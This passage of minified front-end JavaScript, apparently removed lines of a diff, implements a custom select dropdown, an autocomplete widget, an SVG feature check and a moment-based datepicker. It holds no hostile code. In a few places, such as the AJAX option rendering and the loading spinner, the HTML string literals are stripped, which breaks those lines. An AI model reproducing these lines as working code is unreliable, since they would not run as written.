!this.settings.readonly) { - this.addSimpleSearchEvents() - } - } - }, { - key: "onOptionClick", - value: function e(t) { - this.setSelectedIndex(t.getAttribute("data-index")); - this.triggerChange(this.el.value); - this.close(); - return false - } - }, { - key: "doesOpensUpwards", - value: function e() { - this.holder.classList.add("is-active"); - this.holder.classList.remove("is-up"); - this.holder.removeAttribute("style"); - var t = this.trigger.getBoundingClientRect(); - var i = this.trigger.clientHeight; - var n = this.holder.getBoundingClientRect(); - var r = t.top >= 0 && t.bottom <= (window.innerHeight || document.documentElement.clientHeight) - n.height; - var a = t.top + 1 + window.pageYOffset + i + 1; - this.container.classList.add("select--open"); - if (r) { - this.holder.style.top = a + "px" - } else { - var s = v.getDocumentHeight() - (t.top + window.pageYOffset + n.height) - 2; - this.holder.classList.add("is-up"); - this.container.classList.add("select--open-up"); - this.holder.style.bottom = s + "px" - } - if (this.container.classList.contains("select--inverse") || this.container.classList.contains("select--underlined")) { - this.holder.style.left = t.left - 20 + "px"; - this.holder.style.width = this.container.offsetWidth + 40 + "px" - } else { - this.holder.style.left = t.left + "px"; - this.holder.style.width = this.container.offsetWidth + "px" - } - if (this.container.classList.contains("select--inverse")) { - this.holder.classList.add("is-inverse") - } - return !r - } - }, { - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.holder.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = r + i + a; - if (s > window.innerHeight + i) { - window.scrollTo(0, s - window.innerHeight + 20) - } else if (r < 0) { - window.scrollTo(0, i + r - 20) - } - } - }, { - key: "isOpen", - value: function e() { - return v.hasClass(this.holder, "is-active") - } - }, { - key: "toggleOpen", - value: function e() { - if (!this.isOpen()) { - this.open() - } else { - this.close() - } - } - }, { - key: "close", - value: function e() { - v.removeClass(this.container, "select--open"); - v.removeClass(this.container, "select--open-up"); - v.removeClass(this.holder, "is-active"); - this.container.setAttribute("aria-expanded", false); - document.body.removeEventListener("click", this.close); - this.removeSimpleSearchEvents() - } - }, { - key: "getValue", - value: function e() { - if (this.settings.autocomplete) { - return this.input.value - } - return this.el.value - } - }, { - key: "getLabel", - value: function e() { - if (this.settings.autocomplete) { - var t = this.input.options[this.input.selectedIndex]; - if (t) { - return this.input.options[this.input.selectedIndex].innerHTML - } - return "" - } - var i = this.el.options[this.el.selectedIndex]; - if (i) { - return this.el.options[this.el.selectedIndex].innerHTML - } - return "" - } - }, { - key: "getIcon", - value: function e() { - if (this.settings.autocomplete) { - return this.input.options[this.input.selectedIndex].getAttribute("data-icon") - } - return this.el.options[this.el.selectedIndex].getAttribute("data-icon") - } - }, { - key: "filterAjax", - value: function e(t) { - var i = this; - this.startAjaxLoading(); - fetch("" + this.settings.ajax + t).then(function (e) { - return e.json() - }).then(function (e) { - var n = e.results ? e.results : e; - var r = n.map(function (e) { - var t = e.value, - i = e.icon, - n = e.text; - return '" - }).join(""); - i.el.innerHTML = "" + r; - i.filter(t) - }) - } - }, { - key: "startAjaxLoading", - value: function e() { - this.holder.innerHTML = '
 
' - } - }, { - key: "filter", - value: function e(t) { - t = v.replaceAccents(t).toLowerCase(); - var i = (0, r.default)(this.el.options).filter(function (e) { - return e.text.toLowerCase().indexOf(t) > -1 - }); - this.holder.innerHTML = i.length == 0 ? this.renderNoResults() : this.buildOptions(i, t); - if (i.length > 0) { - this.bindOptionEvents() - } - } - }, { - key: "navigateOptions", - value: function e(t) { - if (!this.isOpen()) { - this.open() - } - var i = this.hasLabelOption() ? this.el.selectedIndex - 1 : this.el.selectedIndex; - if (this.preSelCurrent !== undefined && this.preSelCurrent !== -1) { - i = this.preSelCurrent - } - var n = (0, r.default)(this.holder.querySelectorAll(".select__option")); - if (n.length == 0) { - return - } - if (t === "prev") { - i--; - i = i < 0 ? n.length - 1 : i - } else if (t === "next") { - i++; - i = i > n.length - 1 ? 0 : i - } else if (t === "start") { - i = 0 - } else if (t === "end") { - i = n.length - 1 - } - this.setOptionFocusByIndex(i) - } - }, { - key: "setOptionFocusByIndex", - value: function e(t) { - var i = this.holder.querySelectorAll(".select__option"); - var n = (0, r.default)(i); - v.addClass(this.holder, "no-hover"); - n.forEach(function (e) { - e.removeAttribute("aria-selected"); - v.removeClass(e, "focus"); - v.removeClass(e, "active") - }); - this.preSelCurrent = t; - var a = i[this.preSelCurrent]; - a.setAttribute("aria-selected", true); - v.addClass(a, "focus"); - this.holder.addEventListener("mousemove", function e(t) { - v.removeClass(this, "no-hover"); - this.removeEventListener("mousemove", e); - (0, r.default)(this.querySelectorAll(".select__option")).forEach(function (e) { - v.removeClass(e, "focus") - }) - }); - var s = this.hasLabelOption() ? this.el.selectedIndex - 1 : this.el.selectedIndex; - var o = i[s]; - o && v.addClass(o, "active"); - this.container.setAttribute("aria-activedescendant", a.getAttribute("id")); - this.scrollIntoView() - } - }, { - key: "scrollIntoView", - value: function e() { - if (!this.preSelCurrent) { - return - } - var t = this.holder.querySelectorAll(".select__option"); - var i = t[this.preSelCurrent]; - if (!i) { - return - } - var n = i.getBoundingClientRect(); - var r = this.holder.getBoundingClientRect(); - if (n.bottom > r.bottom) { - this.holder.scrollTop = i.offsetTop + i.clientHeight - this.holder.offsetHeight - } else if (n.top < r.top) { - this.holder.scrollTop = i.offsetTop - } - } - }, { - key: "addSimpleSearchEvents", - value: function e() { - this.removeSimpleSearchEvents(); - this.simpleCharQueueClearing(); - this.container.addEventListener("keyup", this.onSimpleInputKeyUp) - } - }, { - key: "removeSimpleSearchEvents", - value: function e() { - this.simpleCharQueueClearing(); - this.container.removeEventListener("keyup", this.onSimpleInputKeyUp) - } - }, { - key: "addInputEvents", - value: function e() { - this.removeInputEvents(); - if (!this.input) { - return - } - this.input.addEventListener("focus", this.onInputFocus); - this.input.addEventListener("blur", this.onInputBlur); - this.input.addEventListener("click", this.onInputClick); - if (this.settings.autocomplete || this.settings.search) { - this.input.addEventListener("keyup", this.onInputKeyUp) - } - } - }, { - key: "removeInputEvents", - value: function e() { - if (!this.input) { - return - } - this.input.removeEventListener("focus", this.onInputFocus); - this.input.removeEventListener("blur", this.onInputBlur); - this.input.removeEventListener("click", this.onInputClick); - this.input.removeEventListener("keyup", this.onInputKeyUp) - } - }, { - key: "onInputFocus", - value: function e(t) { - document.body.dispatchEvent(new CustomEvent("click")); - this.open(); - t.target.select() - } - }, { - key: "onInputBlur", - value: function e() { - var t = this; - if (this.preventClose) { - return false - } - if (this.settings.autocomplete || this.settings.search) { - var i = this.setSelectedByLabel(this.el.value); - if (!i) { - this.input.value = ""; - this.deselectAllOptions() - } - this.triggerChange(this.el.value) - } - setTimeout(function () { - t.rebuildOptions(); - t.close() - }, 250) - } - }, { - key: "triggerChange", - value: function e(t) { - if (!t) { - t = this.getValue() - } - var i = this.getLabel(); - this.settings.onChange && this.settings.onChange(t, i); - var n = new CustomEvent("change", { - detail: { - value: t, - label: i - } - }); - this.el.dispatchEvent(n) - } - }, { - key: "onInputClick", - value: function e(t) { - t.stopPropagation() - } - }, { - key: "onInputKeyUp", - value: function e(t) { - var i = t.keyCode || t.which; - switch (i) { - case 38: - case 40: - case 13: - case 27: - case 9: - break; - case 39: - case 16: - t.preventDefault(); - break; - default: - if (this.input.value.length < this.settings.minchars) { - break - } - this.preSelCurrent = -1; - this.el.selectedIndex = -1; - if (this.settings.ajax) { - this.filterAjax(this.input.value) - } else { - this.filter(this.input.value) - } - } - } - }, { - key: "onSimpleInputKeyUp", - value: function e(t) { - var i = t.keyCode || t.which; - switch (i) { - case 38: - case 40: - case 13: - case 27: - case 9: - case 16: - break; - case 32: - t.preventDefault(); - t.stopPropagation(); - return false; - default: - var n = String.fromCharCode(t.keyCode).toLowerCase(); - if (this.simpleCharQueue.length > 0 && this.simpleCharQueue[this.simpleCharQueue.length - 1] == n || this.simpleCharQueue.length === 0) { - this.simpleCharQueue.push(n) - } else { - this.simpleCharQueue = [n] - } - var a = (0, r.default)(this.el.options).map(function (e) { - return e.text.toLowerCase().substring(0, 1) - }); - var s = a.filter(function (e) { - return e === n - }).length; - var o = this.simpleCharQueue.length - 1; - if (this.simpleCharQueue.length > s) { - o = this.simpleCharQueue.length % s - } - var l = 0; - var u = a.findIndex(function (e) { - if (e == n) { - if (l == o) { - return true - } - l++ - } - return false - }) - (this.hasLabelOption() ? 1 : 0); - if (u > -1) { - this.setOptionFocusByIndex(u) - } - } - } - }, { - key: "simpleCharQueueClearing", - value: function e() { - this.simpleCharQueue = [] - } - }, { - key: "addBasicEvents", - value: function e() { - var t = this; - v.on(this.container, "click", this.selectors.trigger, function (e, i) { - e.stopPropagation(); - t.toggleOpen(); - return false - }); - this.container.addEventListener("keydown", function (e) { - var i = e.keyCode || e.which; - switch (i) { - case 38: - e.preventDefault(); - t.navigateOptions("prev"); - break; - case 40: - e.preventDefault(); - t.navigateOptions("next"); - break; - case 35: - if (e.shiftKey) { - break - } - e.preventDefault(); - t.navigateOptions("end"); - break; - case 36: - if (e.shiftKey) { - break - } - e.preventDefault(); - t.navigateOptions("start"); - break; - case 32: - if (t.settings.search || t.settings.autocomplete) { - break - } - case 13: - e.preventDefault(); - e.stopPropagation(); - t.handleOptionSubmit(); - break; - case 9: - if (t.isOpen()) { - t.handleOptionSubmit() - } - break; - case 27: - e.preventDefault(); - t.close(); - break; - default: - t.open(); - break - } - }) - } - }, { - key: "setAriaActiveDescendant", - value: function e() { - var t = this.holder.querySelector(".active"); - this.container.setAttribute("aria-activedescendant", t.getAttribute("id")) - } - }, { - key: "handleOptionSubmit", - value: function e() { - var t = this; - if (this.isOpen() && this.preSelCurrent !== undefined && this.preSelCurrent !== -1) { - var i = (0, r.default)(this.holder.querySelectorAll(".select__option"))[this.preSelCurrent]; - var n = i.getAttribute("data-index"); - if (this.input) { - this.input.value = ""; - this.input.removeEventListener("blur", this.onInputBlur) - } - this.setSelectedIndex(n); - this.setAriaActiveDescendant(); - setTimeout(function () { - t.close(); - t.triggerChange(t.el.value) - }, 100) - } else if (!this.isOpen()) { - this.open() - } - } - }]); - return t - }(_.Component); - b.default_settings = { - attributes: true, - icon: false, - iconsize: 24, - retainName: false, - search: false, - readonly: false, - placeholder: false, - ajax: false, - noresults: "No results found", - autocomplete: false, - minchars: 0, - label: false, - labelstyle: "inline", - triggerarrow: true, - style: "normal", - onChange: function e(t, i) {} - }; - b.instances = []; - t.default = b - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(154); - var r = h(n); - var a = i(59); - var s = h(a); - var o = i(1); - var l = h(o); - var u = i(6); - var d = h(u); - var f = i(116); - var c = h(f); - - function h(e) { - return e && e.__esModule ? e : { - default: e - } - } - var m = function () { - function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, e); - var n = this; - e.count = (e.count || 0) + 1; - this.count = e.count; - this._list = []; - this.isOpened = false; - this.input = g(t); - this.input.setAttribute("autocomplete", "off"); - this.input.setAttribute("aria-autocomplete", "both"); - this.input.setAttribute("aria-haspopup", "listbox"); - this.input.setAttribute("aria-expanded", "false"); - this.input.setAttribute("aria-owns", "awesomplete_list_" + this.count); - this.input.setAttribute("role", "combobox"); - v(this, { - minChars: 2, - maxItems: 10, - autoFirst: false, - data: e.DATA, - filter: e.FILTER_CONTAINS, - sort: i.sort === false ? false : e.SORT_BYLENGTH, - item: e.ITEM, - replace: e.REPLACE, - list: [], - mask: null - }, i); - this.index = -1; - this.container = g.create("div", { - className: "awesomplete", - around: t - }); - this.ul = g.create("ul", { - hidden: "hidden", - role: "listbox", - id: "awesomplete_list_" + this.count, - inside: this.container - }); - this.status = g.create("span", { - className: "visually-hidden", - role: "status", - "aria-live": "assertive", - "aria-atomic": true, - inside: this.container, - textContent: this.minChars != 0 ? "Type " + this.minChars + " or more characters for results." : "Begin typing for results." - }); - this._events = { - input: { - input: this.evaluate.bind(this), - blur: this.close.bind(this, { - reason: "blur" - }), - keydown: function e(t) { - var i = t.keyCode; - if (n.opened) { - if (i === 13 && n.selected) { - t.preventDefault(); - n.select() - } else if (i === 27) { - n.close({ - reason: "esc" - }) - } else if (i === 38 || i === 40) { - t.preventDefault(); - n[i === 38 ? "previous" : "next"]() - } - } - } - }, - form: { - submit: this.close.bind(this, { - reason: "submit" - }) - }, - ul: { - mousedown: function e(t) { - t.preventDefault() - }, - click: function e(t) { - var i = t.target; - if (i !== this) { - while (i && !/li/i.test(i.nodeName)) { - i = i.parentNode - } - if (i && t.button === 0) { - t.preventDefault(); - n.select(i, t.target) - } - } - } - } - }; - g.bind(this.input, this._events.input); - g.bind(this.input.form, this._events.form); - g.bind(this.ul, this._events.ul); - if (this.mask) { - this.bindInputMask(this.mask, this.input) - } - e.all.push(this) - }(0, d.default)(e, [{ - key: "close", - value: function e(t) { - if (!this.opened) { - return - } - if (t && t.reason && t.reason == "blur") { - return false - } - this.isOpened = false; - this.index = -1; - this.status.setAttribute("hidden", ""); - g.fire(this.input, "awesomplete-close", t || {}); - var i = this; - if (t && t.reason) { - setTimeout(function () { - i.ul.setAttribute("hidden", "") - }, 200) - } else { - i.ul.setAttribute("hidden", "") - } - } - }, { - key: "open", - value: function e() { - if (this.isOpened) { - return false - } - this.ul.removeAttribute("hidden"); - this.isOpened = true; - this.status.removeAttribute("hidden"); - if (this.autoFirst && this.index === -1) { - this.goto(0) - } - this.input.setAttribute("aria-expanded", "true"); - this.input.setAttribute("aria-autocomplete", "both"); - g.fire(this.input, "awesomplete-open") - } - }, { - key: "destroy", - value: function t() { - g.unbind(this.input, this._events.input); - g.unbind(this.input.form, this._events.form); - var i = this.container.parentNode; - i.insertBefore(this.input, this.container); - i.removeChild(this.container); - this.input.removeAttribute("autocomplete"); - this.input.removeAttribute("aria-autocomplete"); - this.input.setAttribute("aria-expanded", "false"); - var n = e.all.indexOf(this); - if (n !== -1) { - e.all.splice(n, 1) - } - } - }, { - key: "next", - value: function e() { - var t = this.ul.children.length; - this.goto(this.index < t - 1 ? this.index + 1 : t ? 0 : -1) - } - }, { - key: "previous", - value: function e() { - var t = this.ul.children.length; - var i = this.index - 1; - this.goto(this.selected && i !== -1 ? i : t - 1) - } - }, { - key: "goto", - value: function e(t) { - var i = this.ul.children; - if (this.selected) { - i[this.index].setAttribute("aria-selected", "false") - } - this.index = t; - if (t > -1 && i.length > 0) { - i[t].setAttribute("aria-selected", "true"); - this.status.textContent = i[t].textContent + ", list item " + (t + 1) + " of " + i.length; - this.input.setAttribute("aria-activedescendant", this.ul.id + "_item_" + this.index); - this.ul.scrollTop = i[t].offsetTop - this.ul.clientHeight + i[t].clientHeight; - g.fire(this.input, "awesomplete-highlight", { - text: this.suggestions[this.index] - }) - } - } - }, { - key: "bindInputMask", - value: function e(t, i) { - new c.default(t, { - removeMaskOnSubmit: true, - showMaskOnHover: false, - autoUnmask: true, - showMaskOnFocus: false - }).mask(i) - } - }, { - key: "select", - value: function e(t, i) { - if (t) { - this.index = g.siblingIndex(t) - } else { - t = this.ul.children[this.index] - } - if (t) { - var n = this.suggestions[this.index]; - var r = g.fire(this.input, "awesomplete-select", { - text: n, - origin: i || t - }); - if (r) { - this.replace(n); - this.close({ - reason: "select" - }); - g.fire(this.input, "awesomplete-selectcomplete", { - text: n - }) - } - } - } - }, { - key: "evaluate", - value: function e() { - var t = this; - var i = this.input.value; - if (i.length >= this.minChars && this._list && this._list.length > 0) { - this.index = -1; - this.ul.innerHTML = ""; - this.suggestions = this._list.map(function (e) { - return new p(t.data(e, i)) - }).filter(function (e) { - return t.filter(e, i) - }); - if (this.sort !== false) { - this.suggestions = this.suggestions.sort(this.sort) - } - this.suggestions = this.suggestions.slice(0, this.maxItems); - this.suggestions.forEach(function (e, n) { - t.ul.appendChild(t.item(e, i, n)) - }); - if (this.ul.children.length === 0) { - this.status.textContent = "No results found"; - this.close({ - reason: "nomatches" - }) - } else { - this.open(); - this.status.textContent = this.ul.children.length + " results found" - } - } else { - this.close({ - reason: "nomatches" - }); - this.status.textContent = "No results found" - } - } - }, { - key: "list", - set: function e(t) { - this._list = t; - if (Array.isArray(t)) { - this._list = t - } else if (typeof t === "string" && t.indexOf(",") > -1) { - this._list = t.split(/\s*,\s*/) - } else { - t = g(t); - if (t && t.children) { - var i = []; - _.apply(t.children).forEach(function (e) { - if (!e.disabled) { - var t = e.textContent.trim(); - var n = e.value || t; - var r = e.label || t; - if (n !== "") { - i.push({ - label: r, - value: n - }) - } - } - }); - this._list = i - } - } - if (document.activeElement === this.input) { - this.evaluate() - } - } - }, { - key: "selected", - get: function e() { - return this.index > -1 - } - }, { - key: "opened", - get: function e() { - return this.isOpened - } - }]); - return e - }(); - m.all = []; - m.FILTER_CONTAINS = function (e, t) { - return RegExp(g.regExpEscape(t.trim()), "i").test(e) - }; - m.FILTER_STARTSWITH = function (e, t) { - return RegExp("^" + g.regExpEscape(t.trim()), "i").test(e) - }; - m.SORT_BYLENGTH = function (e, t) { - if (e.length !== t.length) { - return e.length - t.length - } - return e < t ? -1 : 1 - }; - m.ITEM = function (e, t, i) { - var n = t.trim() === "" ? e : e.replace(RegExp(g.regExpEscape(t.trim()), "gi"), "$&"); - return g.create("li", { - innerHTML: n, - "aria-selected": "false", - role: "option", - id: "awesomplete_list_" + this.count + "_item_" + i - }) - }; - m.REPLACE = function (e) { - this.input.value = e.value - }; - m.DATA = function (e) { - return e - }; - - function p(e) { - var t = Array.isArray(e) ? { - label: e[0], - value: e[1] - } : (typeof e === "undefined" ? "undefined" : (0, s.default)(e)) === "object" && "label" in e && "value" in e ? e : { - label: e, - value: e - }; - this.label = t.label || t.value; - this.value = t.value - } - Object.defineProperty(p.prototype = (0, r.default)(String.prototype), "length", { - get: function e() { - return this.label.length - } - }); - p.prototype.toString = p.prototype.valueOf = function () { - return "" + this.label - }; - - function v(e, t, i) { - for (var n in t) { - var r = t[n], - a = e.input.getAttribute("data-" + n.toLowerCase()); - if (typeof r === "number") { - e[n] = parseInt(a) - } else if (r === false) { - e[n] = a !== null - } else if (r instanceof Function) { - e[n] = null - } else { - e[n] = a - } - if (!e[n] && e[n] !== 0) { - e[n] = n in i ? i[n] : r - } - } - } - var _ = Array.prototype.slice; - - function g(e, t) { - return typeof e === "string" ? (t || document).querySelector(e) : e || null - } - - function y(e, t) { - return _.call((t || document).querySelectorAll(e)) - } - g.create = function (e, t) { - var i = document.createElement(e); - for (var n in t) { - var r = t[n]; - if (n === "inside") { - g(r).appendChild(i) - } else if (n === "around") { - var a = g(r); - a.parentNode.insertBefore(i, a); - i.appendChild(a) - } else if (n in i) { - i[n] = r - } else { - i.setAttribute(n, r) - } - } - return i - }; - g.bind = function (e, t) { - if (e) { - for (var i in t) { - var n = t[i]; - i.split(/\s+/).forEach(function (t) { - e.addEventListener(t, n) - }) - } - } - }; - g.unbind = function (e, t) { - if (e) { - for (var i in t) { - var n = t[i]; - i.split(/\s+/).forEach(function (t) { - e.removeEventListener(t, n) - }) - } - } - }; - g.fire = function (e, t, i) { - var n = document.createEvent("HTMLEvents"); - n.initEvent(t, true, true); - for (var r in i) { - n[r] = i[r] - } - return e.dispatchEvent(n) - }; - g.regExpEscape = function (e) { - return e.replace(/[-\\^$*+?.()|[\]{}]/g, "\\$&") - }; - g.siblingIndex = function (e) { - for (var t = 0; e = e.previousElementSibling; t++) {} - return t - }; - m.$ = g; - m.$$ = y; - t.default = m - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = t.canSMIL = function e() { - return !!document.createElementNS && /SVGAnimate/.test(document.createElementNS("http://www.w3.org/2000/svg", "animate").toString()) - }; - var r = function e(t) { - return document.querySelector("html").classList.add(t) - }; - var a = function e() { - if (n()) r("can-smil") - }; - t.default = a - }, function (e, t, i) { - e.exports = { - default: i(436), - __esModule: true - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = typeof document === "undefined" ? { - body: {}, - addEventListener: function e() {}, - removeEventListener: function e() {}, - activeElement: { - blur: function e() {}, - nodeName: "" - }, - querySelector: function e() { - return null - }, - querySelectorAll: function e() { - return [] - }, - getElementById: function e() { - return null - }, - createEvent: function e() { - return { - initEvent: function e() {} - } - }, - createElement: function e() { - return { - children: [], - childNodes: [], - style: {}, - setAttribute: function e() {}, - getElementsByTagName: function e() { - return [] - } - } - }, - location: { - hash: "" - } - } : document; - var r = typeof window === "undefined" ? { - document: n, - navigator: { - userAgent: "" - }, - location: {}, - history: {}, - CustomEvent: function e() { - return this - }, - addEventListener: function e() {}, - removeEventListener: function e() {}, - getComputedStyle: function e() { - return { - getPropertyValue: function e() { - return "" - } - } - }, - Image: function e() {}, - Date: function e() {}, - screen: {}, - setTimeout: function e() {}, - clearTimeout: function e() {} - } : window; - t.window = r; - t.document = n - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(13); - var r = Y(n); - var a = i(3); - var s = Y(a); - var o = i(1); - var l = Y(o); - var u = i(6); - var d = Y(u); - var f = i(4); - var c = Y(f); - var h = i(5); - var m = Y(h); - var p = i(161); - var v = Y(p); - var _ = i(116); - var g = Y(_); - var y = i(439); - var b = Y(y); - var w = i(440); - var M = S(w); - var k = i(7); - var L = S(k); - var T = i(15); - var x = i(2); - - function S(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function Y(e) { - return e && e.__esModule ? e : { - default: e - } - } - var D = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.inputWrapper = document.createElement("div"); - n.inputWrapper.setAttribute("class", "input__wrapper"); - n.input = n.el.querySelector(".input__txt"); - var r = (0, T.getScreenSize)(); - if (r === "sm") { - n.input.setAttribute("readonly", "readonly") - } - n.el.appendChild(n.inputWrapper); - n.inputWrapper.appendChild(n.el.querySelector(".input")); - n.hidden = document.createElement("input"); - n.hidden.setAttribute("type", "hidden"); - n.hidden.setAttribute("name", n.input.getAttribute("name")); - n.input.removeAttribute("name"); - n.pikaHeightLast = 0; - var a = L.getDataAttributesRaw(e.querySelector(".input__txt")); - for (var o in a) { - if (o.indexOf("val") > -1) { - n.hidden.setAttribute(o, a[o]) - } - if (o === "data-settoday") { - n.settings.settoday = a[o] - } - if (o === "data-nohistory") { - n.settings.nohistory = a[o] - } - if (o === "data-disableddates") { - n.settings.disableddates = a[o] - } - if (o === "data-enableddates") { - n.settings.enableddates = a[o] - } - } - n.el.appendChild(n.hidden); - n.picker = null; - n.pickerContainer = n.el.querySelector(".datepicker__container"); - if (n.pickerContainer) { - n.pickerContainer.setAttribute("aria-hidden", true); - n.pickerContainer.setAttribute("tabIndex", -1) - } - n.onPickerOpen = n.onPickerOpen.bind(n); - n.onPickerClose = n.onPickerClose.bind(n); - n.onPickerSelect = n.onPickerSelect.bind(n); - n.onDisableCheck = n.onDisableCheck.bind(n); - n.onNav = n.onNav.bind(n); - n.settings.lang = n.settings.lang ? n.settings.lang : document.documentElement.lang; - v.default.locale(n.settings.lang); - n.el.addEventListener("keyup", n.onKeyUp.bind(n)); - n.input.addEventListener("focus", n.onFocus.bind(n)); - n.input.addEventListener("blur", n.onBlur.bind(n)); - n.hidden.addEventListener("focus", n.onFocusHidden.bind(n)); - n.setup(); - return n - }(0, d.default)(t, [{ - key: "setup", - value: function e() { - var t = this.settings, - i = t.settoday, - n = t.dateRawFormat; - if (i && this.input.value.length === 0) { - this.hidden.value = (0, v.default)().format(n); - this.input.value = (0, v.default)().format(n) - } - if (this.input.value.length > 0 && !i) { - this.hidden.value = (0, v.default)(this.input.value, n).format(n) - } - var r = this.settings, - a = r.disableddates, - s = r.enableddates; - if (s.length) { - try { - if (!Array.isArray(s)) { - s = s.replace(/[']/g, '"'); - s = JSON.parse(s) - } - s = s.map(function (e) { - return (0, v.default)(e, "YYYY-MM-DD") - }); - this.settings.enableddates = s - } catch (e) { - console.error(e) - } - } - if (a.length) { - try { - if (!Array.isArray(a)) { - a = a.replace(/[']/g, '"'); - a = JSON.parse(a) - } - a = a.map(function (e) { - return (0, v.default)(e, "YYYY-MM-DD") - }); - this.settings.disableddates = a - } catch (e) { - console.error(e) - } - } - } - }, { - key: "bindInputMask", - value: function e() { - this.masker = new g.default(this.settings.mask, { - removeMaskOnSubmit: true, - showMaskOnHover: false, - autoUnmask: true, - showMaskOnFocus: false - }); - this.masker.mask(this.input) - } - }, { - key: "clearInputMask", - value: function e() { - this.masker.remove(); - this.masker.remove(this.input) - } - }, { - key: "onBlur", - value: function e(t) { - var i = t.relatedTarget; - if (i === null) { - i = document.activeElement - } - if (this.picker.el.contains(i)) { - t.preventDefault(); - return false - } - if (this.picker.selectChange) { - t.preventDefault(); - return false - } - var n = this.settings, - r = n.dateRawFormat, - a = n.dateMaskedFormat; - this.clearInputMask(); - this.hidden.value = this.input.value; - if ((0, v.default)(this.input.value, r).isValid()) { - this.hidden.value = (0, v.default)(this.input.value, a).format(r) - } - if (this.picker) { - this.picker.destroy(); - this.picker = null - } - } - }, { - key: "onNav", - value: function e() { - var t = document.querySelector(".pika-single"); - if (!t.classList.contains("bottom-aligned")) { - var i = this.picker.el.clientHeight; - if (this.pikaHeightLast < i) { - this.picker.el.style.top = this.picker.el.offsetTop - this.input.clientHeight + "px" - } else if (this.pikaHeightLast > i) { - this.picker.el.style.top = this.picker.el.offsetTop + this.input.clientHeight + "px" - } - this.pikaHeightLast = i - } - } - }, { - key: "onFocus", - value: function e(t) { - var i = this.settings, - n = i.enableddates, - a = i.mask, - s = i.dateRawFormat, - o = i.lang; - var l = document.querySelectorAll(".pika-single"); - if (l.length > 0) { - (0, r.default)(l).forEach(function (e) { - return (0, k.addClass)(e, "is-hidden") - }) - } - if (this.picker) { - this.picker.destroy(); - this.picker = null - } - if (a) { - this.bindInputMask() - } - var u = (0, v.default)(this.settings.mindate, "YYYY-MM-DD"); - var d = (0, v.default)(this.settings.maxdate, "YYYY-MM-DD"); - this.picker = new b.default({ - field: this.input, - i18n: M[o], - showDaysInNextAndPreviousMonths: true, - enableSelectionDaysInNextAndPreviousMonths: true, - ariaLabel: "", - firstDay: 1, - minDate: u.isValid() ? u.toDate() : null, - maxDate: d.isValid() ? d.toDate() : null, - container: this.pickerContainer, - format: s, - onOpen: this.onPickerOpen, - onClose: this.onPickerClose, - onSelect: this.onPickerSelect, - disableDayFn: this.onDisableCheck, - onDraw: this.onNav, - keyboardInput: false - }); - this.picker.show(); - this.picker.el.setAttribute("aria-hidden", true); - this.picker.el.setAttribute("tabIndex", -1); - this.picker.el.addEventListener("keyup", this.onKeyUp.bind(this)); - this.pikaHeightLast = this.picker.el.clientHeight; - this.pikaHeight = this.picker.el.clientHeight - } - }, { - key: "onFocusHidden", - value: function e(t) { - this.input.focus() - } - }, { - key: "onPickerOpen", - value: function e() { - var t = this.settings, - i = t.settoday, - n = t.dateRawFormat; - (0, k.addClass)(this.el, "datepicker--open"); - if (this.el.classList.contains("datepicker--inverse")) { - (0, k.addClass)(this.picker.el, "inverse") - } - this.picker.el.style.width = this.input.getBoundingClientRect().width + "px"; - if (this.hidden.value === "" && this.input.value === "") { - this.hidden.value = (0, v.default)().format(n); - this.input.value = (0, v.default)().format(n) - } - } - }, { - key: "onPickerClose", - value: function e() { - this.picker.destroy(); - (0, k.removeClass)(this.el, "datepicker--open"); - this.input.blur() - } - }, { - key: "onPickerSelect", - value: function e() { - var t = this.settings, - i = t.onSelect, - n = t.dateRawFormat; - this.hidden.value = this.picker.getMoment().format(n); - if (i) { - i(this.picker.getMoment()) - } - } - }, { - key: "onDisableCheck", - value: function e(t) { - var i = this.settings, - n = i.enableddates, - r = i.disableddates, - a = i.ondisablecheck, - s = i.nohistory; - if (s && (0, v.default)(t).isBefore((0, v.default)())) { - return true - } - if (Array.isArray(n) && n.length) { - return n.findIndex(function (e) { - return (0, v.default)(t).isSame(e, "day") - }) === -1 - } - if (Array.isArray(r) && r.length) { - return r.findIndex(function (e) { - return (0, v.default)(t).isSame(e, "day") - }) !== -1 - } - return a(t) - } - }, { - key: "setEnabledDates", - value: function e(t) { - if (Array.isArray(t)) { - this.settings.enableddates = t.map(function (e) { - return (0, v.default)(e, "YYYY-MM-DD") - }) - } - } - }, { - key: "setDisabledDates", - value: function e(t) { - if (Array.isArray(t)) { - this.settings.disableddates = t.map(function (e) { - return (0, v.default)(e, "YYYY-MM-DD") - }) - } - } - }, { - key: "setMinDate", - value: function e(t) { - this.settings.mindate = (0, v.default)(t, "YYYY-MM-DD") - } - }, { - key: "setMaxDate", - value: function e(t) { - this.settings.maxdate = (0, v.default)(t, "YYYY-MM-DD") - } - }, { - key: "onKeyUp", - value: function e(t) { - var i = t.keyCode || t.which; - switch (i) { - case 27: - this.onPickerClose(); - break; - case 38: - case 40: - case 13: - case 9: - case 16: - case 32: - default: - } - } - }]); - return t - }(x.Component); - D.default_settings = { - lang: false, - name: "", - attributes: true, - pickerContainer: null, - dateRawFormat: "DD/MM/YYYY", - dateMaskedFormat: "DDMMYYYY", - mask: "99/99/9999", - settoday: false, - nohistory: false, - disableddates: [], - enableddates: [], - mindate: null, - maxdate: null, - ondisablecheck: function e(t) { - return false - } - }; - t.default = D - }, function (e, t) { - e.exports = a - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = t.PopupTrigger = undefined; - var n = i(117); - var r = o(n); - var a = i(163); - var s = o(a); - - function o(e) { - return e && e.__esModule ? e : { - default: e - } - 